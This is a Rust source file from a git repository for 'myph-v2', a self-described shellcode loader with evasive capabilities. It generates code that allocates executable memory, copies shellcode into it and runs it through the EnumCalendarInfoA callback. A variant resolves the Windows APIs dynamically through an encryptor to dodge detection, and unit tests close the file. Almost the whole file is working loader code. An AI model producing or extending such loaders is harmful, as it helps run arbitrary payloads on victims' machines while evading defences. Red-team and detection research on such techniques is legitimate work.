myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

enum_calendar.rs (6411B)

      1 pub fn enum_calendar_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn enum_calendar_const() -> String {
      9     r#"
     10 const MEM_COMMIT: u32 = 0x1000;
     11 const MEM_RESERVE: u32 = 0x2000;
     12 const PAGE_EXECUTE_READWRITE: u32 = 0x40;
     13 
     14 const LOCALE_USER_DEFAULT: u32 = 0x0400;
     15 const ENUM_ALL_CALENDARS: u32 = 0xFFFFFFFF;
     16 const CAL_SMONTHNAME1: u32 = 0x00000015;
     17 
     18 #[link(name = "kernel32")]
     19 extern "system" {
     20     fn EnumCalendarInfoA(
     21         callback: *const std::ffi::c_void,
     22         locale: u32,
     23         calendar: u32,
     24         cal_type: u32,
     25     ) -> i32;
     26 }
     27 
     28 #[link(name = "ntdll")]
     29 extern "system" {
     30     fn RtlCopyMemory(
     31         destination: *mut std::ffi::c_void,
     32         source: *const std::ffi::c_void,
     33         length: usize,
     34     );
     35 }
     36 "#
     37     .to_string()
     38 }
     39 
     40 #[allow(dead_code)]
     41 pub fn enum_calendar_init() -> String {
     42     "".to_string()
     43 }
     44 
     45 pub fn enum_calendar_process() -> String {
     46     r#"
     47     unsafe {
     48         let addr = VirtualAlloc(
     49             ptr::null_mut(),
     50             shellcode.len(),
     51             MEM_COMMIT | MEM_RESERVE,
     52             PAGE_EXECUTE_READWRITE,
     53         );
     54 
     55         if addr.is_null() {
     56             panic!("failed");
     57         }
     58 
     59         RtlCopyMemory(
     60             addr,
     61             shellcode.as_ptr() as *const std::ffi::c_void,
     62             shellcode.len(),
     63         );
     64 
     65         let result = EnumCalendarInfoA(
     66             addr,
     67             LOCALE_USER_DEFAULT,
     68             ENUM_ALL_CALENDARS,
     69             CAL_SMONTHNAME1,
     70         );
     71 
     72         if result == 0 {
     73             panic!("failed");
     74         }
     75     }
     76 "#
     77     .to_string()
     78 }
     79 
     80 fn generate_enum_calendar_template(_target_process: &str, function_name: &str) -> String {
     81     super::common::TechniqueTemplateBuilder::new()
     82         .with_import(enum_calendar_import())
     83         .with_const(enum_calendar_const())
     84         .with_init(enum_calendar_init())
     85         .with_process(enum_calendar_process())
     86         .build(function_name)
     87 }
     88 
     89 pub fn generate_enum_calendar_code(_target_process: &str, function_name: &str) -> String {
     90     generate_enum_calendar_template(_target_process, function_name)
     91 }
     92 
     93 fn enum_calendar_process_with_dynamic_resolver(
     94     encryptor: &dyn crate::encryption::Encryptor,
     95 ) -> Result<String, String> {
     96     use super::dynamic_common::*;
     97 
     98     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     99     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
    100     let enum_calendar_info_a = enum_calendar_info_a_resolver(encryptor)?;
    101 
    102     Ok(format!(
    103         r#"
    104     unsafe {{
    105         {virtual_alloc_resolver}
    106         {virtual_alloc_cast}
    107 
    108         let addr = virtual_alloc(
    109             ptr::null(),
    110             shellcode.len(),
    111             MEM_COMMIT | MEM_RESERVE,
    112             PAGE_EXECUTE_READWRITE,
    113         );
    114 
    115         if addr.is_null() {{
    116             panic!("failed");
    117         }}
    118 
    119         {rtl_copy_memory_resolver}
    120         {rtl_copy_memory_cast}
    121 
    122         rtl_copy_memory(
    123             addr,
    124             shellcode.as_ptr() as *const std::ffi::c_void,
    125             shellcode.len(),
    126         );
    127 
    128         {enum_calendar_info_a_resolver}
    129         {enum_calendar_info_a_cast}
    130 
    131         let result = enum_calendar_info_a(
    132             addr,
    133             LOCALE_USER_DEFAULT,
    134             ENUM_ALL_CALENDARS,
    135             CAL_SMONTHNAME1,
    136         );
    137 
    138         if result == 0 {{
    139             panic!("failed");
    140         }}
    141     }}
    142 "#,
    143         virtual_alloc_resolver = virtual_alloc.resolver_code,
    144         virtual_alloc_cast = virtual_alloc.cast_code,
    145         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    146         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    147         enum_calendar_info_a_resolver = enum_calendar_info_a.resolver_code,
    148         enum_calendar_info_a_cast = enum_calendar_info_a.cast_code,
    149     ))
    150 }
    151 
    152 fn generate_enum_calendar_template_with_dynamic_resolver(
    153     function_name: &str,
    154     _encryption_type: &str,
    155     encryptor: &dyn crate::encryption::Encryptor,
    156 ) -> Result<String, String> {
    157     let process_code = enum_calendar_process_with_dynamic_resolver(encryptor)?;
    158 
    159     Ok(super::common::TechniqueTemplateBuilder::new()
    160         .with_import(enum_calendar_import())
    161         .with_const(enum_calendar_const())
    162         .with_init(enum_calendar_init())
    163         .with_process(process_code)
    164         .build(function_name))
    165 }
    166 
    167 pub fn generate_enum_calendar_code_with_dynamic_resolver(
    168     function_name: &str,
    169     encryption_type: &str,
    170     encryptor: &dyn crate::encryption::Encryptor,
    171 ) -> String {
    172     generate_enum_calendar_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
    173         .unwrap_or_else(|err| {
    174             panic!(
    175                 "Failed to generate EnumCalendar code with dynamic resolver (encryption: {}): {}",
    176                 encryption_type, err
    177             )
    178         })
    179 }
    180 
    181 pub struct EnumCalendarGenerator;
    182 
    183 impl super::trait_generator::TechniqueGenerator for EnumCalendarGenerator {
    184     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    185         generate_enum_calendar_code(_process, function_name)
    186     }
    187 
    188     fn generate_code_with_dynamic_resolver(
    189         &self,
    190         _process: &str,
    191         function_name: &str,
    192         encryption_type: &str,
    193         encryptor: &dyn crate::encryption::Encryptor,
    194     ) -> String {
    195         generate_enum_calendar_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
    196     }
    197 
    198     fn requires_process(&self) -> bool {
    199         false
    200     }
    201 
    202     fn name(&self) -> &'static str {
    203         "EnumCalendar"
    204     }
    205 }
    206 
    207 #[cfg(test)]
    208 mod tests {
    209     use super::*;
    210 
    211     #[test]
    212     fn test_generate_enum_calendar_template_contains_all_parts() {
    213         let template = generate_enum_calendar_template("notepad.exe", "MyFunction");
    214         assert!(template.contains("use std::ptr"));
    215         assert!(template.contains("MEM_COMMIT"));
    216         assert!(template.contains("fn MyFunction"));
    217         assert!(template.contains("VirtualAlloc"));
    218         assert!(template.contains("EnumCalendarInfoA"));
    219     }
    220 
    221     #[test]
    222     fn test_generate_enum_calendar_code() {
    223         let code = generate_enum_calendar_code("notepad.exe", "MyRandomFunc");
    224         assert!(code.contains("fn MyRandomFunc"));
    225     }
    226 
    227     #[test]
    228     fn test_enum_calendar_does_not_use_process_param() {
    229         let code = generate_enum_calendar_code("notepad.exe", "TestFunc");
    230         // This technique doesn't use process injection, so it shouldn't contain the process name
    231         assert!(!code.contains("notepad.exe"));
    232     }
    233 }